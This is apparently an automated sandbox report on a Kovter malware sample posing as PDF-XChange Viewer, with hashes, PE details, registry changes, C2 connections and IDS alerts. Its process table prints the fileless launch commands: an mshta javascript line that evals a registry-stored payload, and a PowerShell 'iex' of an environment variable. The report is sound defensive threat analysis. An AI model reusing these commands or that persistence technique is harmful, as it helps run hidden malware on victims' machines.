| File name: | kovter.exe |
| Full analysis: | https://app.any.run/tasks/02744f48-8f61-4fad-a9dd-56c10ad64574 |
| Verdict: | Malicious activity |
| Threats: | Netwire is an advanced RAT — it is a malware that takes control of infected PCs and allows its operators to perform various actions. Unlike many RATs, this one can target every major operating system, including Windows, Linux, and MacOS. |
| Analysis date: | January 10, 2020, 04:32:09 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 15AF6227D39CA3F9D1DCD8566EFB0057 |
| SHA1: | C8C3BF9ED944B614AE4B3E747E69E84026FB4039 |
| SHA256: | 40050153DCEEC2C8FBB1912F8EEABE449D1E265F0C8198008BE8B34E5403E731 |
| SSDEEP: | 6144:wcIU9Cj+hfg3MXbQ83J3U728WJQHPn4b2wS12f0ffJ0n/dQFvT:w3GCjgfoMrQ83JGdH/4bz0Xb9 |
MALICIOUS
Registers / Runs the DLL via REGSVR32.EXE
- regsvr32.exe (PID: 2136)
- powershell.exe (PID: 3924)
KOVTER was detected
- regsvr32.exe (PID: 2136)
Changes the autorun value in the registry
- regsvr32.exe (PID: 2136)
Connects to CnC server
- regsvr32.exe (PID: 2136)
Executes PowerShell scripts
- mshta.exe (PID: 388)
Changes internet zones settings
- regsvr32.exe (PID: 2136)
SUSPICIOUS
Modifies the open verb of a shell class
- regsvr32.exe (PID: 2136)
Connects to server without host name
- regsvr32.exe (PID: 2136)
Application launched itself
- regsvr32.exe (PID: 2136)
Executed via WMI
- mshta.exe (PID: 388)
Creates files in the user directory
- powershell.exe (PID: 3924)
INFO
Reads internet explorer settings
- mshta.exe (PID: 388)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 Executable MS Visual C++ (generic) (67.3) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (14.1) |
| .exe | | | Win32 Executable (generic) (9.7) |
| .exe | | | Generic Win/DOS Executable (4.3) |
| .exe | | | DOS Executable Generic (4.3) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2003:10:31 04:23:33+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 2.23 |
| CodeSize: | 77824 |
| InitializedDataSize: | 370176 |
| UninitializedDataSize: | 246784 |
| EntryPoint: | 0x3dbb |
| OSVersion: | 4 |
| ImageVersion: | 1 |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 2.5.314.0 |
| ProductVersionNumber: | 2.5.0.0 |
| FileFlagsMask: | 0x0017 |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Dynamic link library |
| FileSubtype: | - |
| LanguageCode: | Polish |
| CharacterSet: | Windows, Latin2 (Eastern European) |
| CompanyName: | Tracker Software Products (Canada) Ltd. |
| FileVersion: | 2.5.0314.0000 |
| LegalCopyright: | Copyright (C) 2001-2015 by Tracker Software Products (Canada) Ltd. |
| LegalTrademarks: | Tracker Software Products (Canada) Ltd. |
| ProductVersion: | 2.5 |
| SpecialBuild: | - |
| PrivateBuild: | - |
| ProductName: | PDF-XChange Viewer |
| Comments: | PDF-XChange Viewer |
| FileDescription: | PDF-XChange Viewer |
| InternalName: | PDF-XChange Viewer |
| OriginalFileName: | PDFXCview.exe |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 31-Oct-2003 03:23:33 |
| Detected languages: |
|
| CompanyName: | Tracker Software Products (Canada) Ltd. |
| FileVersion: | 2.5.0314.0000 |
| LegalCopyright: | Copyright (C) 2001-2015 by Tracker Software Products (Canada) Ltd. |
| LegalTrademarks: | Tracker Software Products (Canada) Ltd. |
| ProductVersion: | 2.5 |
| SpecialBuild: | - |
| PrivateBuild: | - |
| ProductName: | PDF-XChange Viewer |
| Comments: | PDF-XChange Viewer |
| FileDescription: | PDF-XChange Viewer |
| InternalName: | PDF-XChange Viewer |
| OriginalFilename: | PDFXCview.exe |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 8 |
| Time date stamp: | 31-Oct-2003 03:23:33 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x00013000 | 0x00012A00 | IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.26344 |
.data | 0x00014000 | 0x00004730 | 0x00004800 | IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.9608 |
.rdata | 0x00019000 | 0x0003C3EC | 0x0003C400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.95631 |
.bss | 0x00056000 | 0x00004000 | 0x00000000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 0 |
.idata | 0x0005A000 | 0x000027A4 | 0x00002800 | IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.6323 |
.CRT | 0x0005D000 | 0x00000300 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.51123 |
.tls | 0x0005E000 | 0x00000020 | 0x00000200 | IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 2.32022 |
.rsrc | 0x0005F000 | 0x00012BE4 | 0x00012C00 | IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 6.29276 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.12107 | 796 | UNKNOWN | Polish - Poland | RT_MANIFEST |
2 | 2.6442 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
3 | 2.64245 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
4 | 2.62052 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
5 | 2.59177 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
6 | 2.50257 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
7 | 2.86964 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
8 | 2.41635 | 308 | UNKNOWN | Polish - Poland | RT_CURSOR |
9 | 2.37789 | 84 | UNKNOWN | Polish - Poland | RT_STRING |
36 | 6.57319 | 2216 | UNKNOWN | Polish - Poland | RT_ICON |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.dll |
OLEAUT32.dll |
SHELL32.dll |
USER32.dll |
VERSION.dll |
WININET.dll |
WINMM.dll |
Total processes
40
Monitored processes
5
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 388 | "C:\Windows\system32\mshta.exe" javascript:o7Xke="f";nY7=new%20ActiveXObject("WScript.Shell");ClNQF6us="oxNChuKz";Aji5i=nY7.RegRead("HKCU\\software\\Vv8HHOq\\N0fCcnt");cjAb4HA8y="kGEo";eval(Aji5i);NsMN3="k4tU"; | C:\Windows\system32\mshta.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1324 | "C:\Users\admin\AppData\Local\Temp\kovter.exe" | C:\Users\admin\AppData\Local\Temp\kovter.exe | — | explorer.exe | |||||||||||
User: admin Company: Tracker Software Products (Canada) Ltd. Integrity Level: MEDIUM Description: PDF-XChange Viewer Exit code: 0 Version: 2.5.0314.0000 Modules
| |||||||||||||||
| 2136 | regsvr32.exe | C:\Windows\system32\regsvr32.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2408 | "C:\Windows\system32\regsvr32.exe" | C:\Windows\system32\regsvr32.exe | — | regsvr32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft(C) Register Server Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3924 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex $env:nmvhfd | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | mshta.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
458
Read events
342
Write events
115
Delete events
1
Modification events
| (PID) Process: | (388) mshta.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (388) mshta.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (3924) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 |
| Operation: | write | Name: | 1206 |
Value: 0 | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 |
| Operation: | write | Name: | 2300 |
Value: 0 | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 |
| Operation: | write | Name: | 1809 |
Value: 3 | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 |
| Operation: | write | Name: | 1206 |
Value: 0 | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 |
| Operation: | write | Name: | 2300 |
Value: 0 | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 |
| Operation: | write | Name: | 1809 |
Value: 3 | |||
| (PID) Process: | (2136) regsvr32.exe | Key: | HKEY_CURRENT_USER\Software\akugfthj |
| Operation: | write | Name: | yvecdl |
Value: JWlC2ZY4AJrsQQ== | |||
Executable files
0
Suspicious files
3
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3924 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H6EO9QO5R85UJ9DXM5P5.temp | — | |
MD5:— | SHA256:— | |||
| 3924 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF399e6d.TMP | binary | |
MD5:— | SHA256:— | |||
| 2136 | regsvr32.exe | C:\Users\admin\AppData\Local\8d97a\832a3.bat | text | |
MD5:— | SHA256:— | |||
| 3924 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 2136 | regsvr32.exe | C:\Users\admin\AppData\Local\8d97a\d7a27.2a8af6 | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
130
DNS requests
0
Threats
69
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2136 | regsvr32.exe | POST | 403 | 159.89.82.88:80 | http://159.89.82.88/ | US | html | 1.35 Kb | malicious |
2136 | regsvr32.exe | POST | — | 54.162.105.88:80 | http://54.162.105.88/ | US | — | — | malicious |
2136 | regsvr32.exe | POST | — | 10.204.11.16:80 | http://10.204.11.16/ | unknown | — | — | unknown |
2136 | regsvr32.exe | POST | — | 189.94.89.214:80 | http://189.94.89.214/ | BR | — | — | unknown |
2136 | regsvr32.exe | POST | — | 110.5.141.59:80 | http://110.5.141.59/ | KR | — | — | malicious |
2136 | regsvr32.exe | POST | 403 | 159.89.82.88:80 | http://159.89.82.88/ | US | html | 1.35 Kb | malicious |
2136 | regsvr32.exe | POST | — | 120.98.18.173:80 | http://120.98.18.173/ | TW | — | — | malicious |
2136 | regsvr32.exe | POST | — | 120.98.18.173:80 | http://120.98.18.173/ | TW | — | — | malicious |
2136 | regsvr32.exe | POST | — | 120.98.18.173:80 | http://120.98.18.173/ | TW | — | — | malicious |
2136 | regsvr32.exe | POST | 403 | 159.89.82.88:80 | http://159.89.82.88/ | US | html | 1.35 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2136 | regsvr32.exe | 181.248.18.236:80 | — | COMCEL S.A. | CO | unknown |
2136 | regsvr32.exe | 159.89.82.88:443 | — | — | US | malicious |
2136 | regsvr32.exe | 144.87.237.33:8080 | — | British Telecommunications PLC | GB | unknown |
2136 | regsvr32.exe | 159.89.82.88:80 | — | — | US | malicious |
2136 | regsvr32.exe | 120.98.18.173:443 | — | Taiwan Academic Network (TANet) Information Center | TW | malicious |
2136 | regsvr32.exe | 28.82.89.215:80 | — | — | US | unknown |
2136 | regsvr32.exe | 46.204.242.226:443 | — | T-mobile Polska Spolka Akcyjna | PL | suspicious |
2136 | regsvr32.exe | 56.13.118.19:443 | — | — | US | suspicious |
2136 | regsvr32.exe | 190.135.123.154:80 | — | Administracion Nacional de Telecomunicaciones | UY | unknown |
2136 | regsvr32.exe | 120.98.18.173:80 | — | Taiwan Academic Network (TANet) Information Center | TW | malicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | MALWARE [PTsecurity] W32/Kovter.C!tr |
2136 | regsvr32.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
2136 | regsvr32.exe | A Network Trojan was detected | REMOTE [PTsecurity] NanoCore/NetWire/Kovter |
8 ETPRO signatures available at the full report